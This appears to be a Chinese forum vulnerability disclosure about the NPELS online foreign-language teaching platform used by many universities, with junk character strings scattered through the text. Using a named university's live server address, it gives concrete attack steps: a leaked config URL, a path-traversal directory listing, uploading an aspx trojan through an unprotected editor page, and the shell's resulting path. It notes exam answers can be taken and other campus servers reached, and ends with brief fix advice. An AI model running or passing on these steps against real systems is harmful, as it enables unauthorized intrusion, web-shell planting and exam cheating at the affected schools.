新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中

$ `$ _, v3 G0 `8 ?详细说明：
7 ~+ N: d7 Y/ s" ~- ~* X* ~3 V
以南开大学的为例:
/ f. Q+ ]' ?9 m( e7 Q- U' ihttp://222.30.60.3/NPELS
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
4 v/ b2 A5 F! V7 u9 n<setting name="Update_CommonSvr_CommonService" serializeAs="String">
: ?# N+ Z5 W% t9 g<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
3 }) @: {: C% D4 _8 G</setting>
及版本号
<add key="TVersion" value="1, 0, 0, 2187">
</add>
$ C6 f- r- k# g$ g* b7 g; S直接访问
http://222.30.60.3/NPELS/CommonService.asmx
$ P+ [0 U' g" c4 ~  z使用GetTestClientFileList操作，直接 HTTP GET 列目录：
, N- {6 F7 g3 D( H8 z  l; {- S  Thttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
" y9 p% j* J" C进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../

  O0 t# d0 |0 X+ |, Q& @& }发现
5 G# a3 Y* d) M6 Q' R9 j2 nhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
上传后继续列目录找到木马地址直接访问即可
2 @3 e' T- r6 |* g- f" e6 x
0 t$ W' R. z1 A( t4 vOOXX

5 ^$ ?3 l* `4 I2 a" w, H4 uGoogle "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
漏洞证明：
* p2 |1 ]3 j/ f1 V
列目录：
% [5 `( u* h# w' a  x9 L7 |: T& |1 Nhttp://222.30.60.3/NPELS/CommonS ... List?version=../../
文件上传：
http://222.30.60.3/npelsv/editor/editor.htm
1 d. B5 R9 w: ]5 I  J
上传木马：
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
# Q4 }0 k- j5 d2 W0 F
3 B+ }' q- C+ |5 v( \+ k修复方案：
好像考试系统必须使用 CommonService.asmx
最好配置文件加密或者用别的方式不让它泄露出来
并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​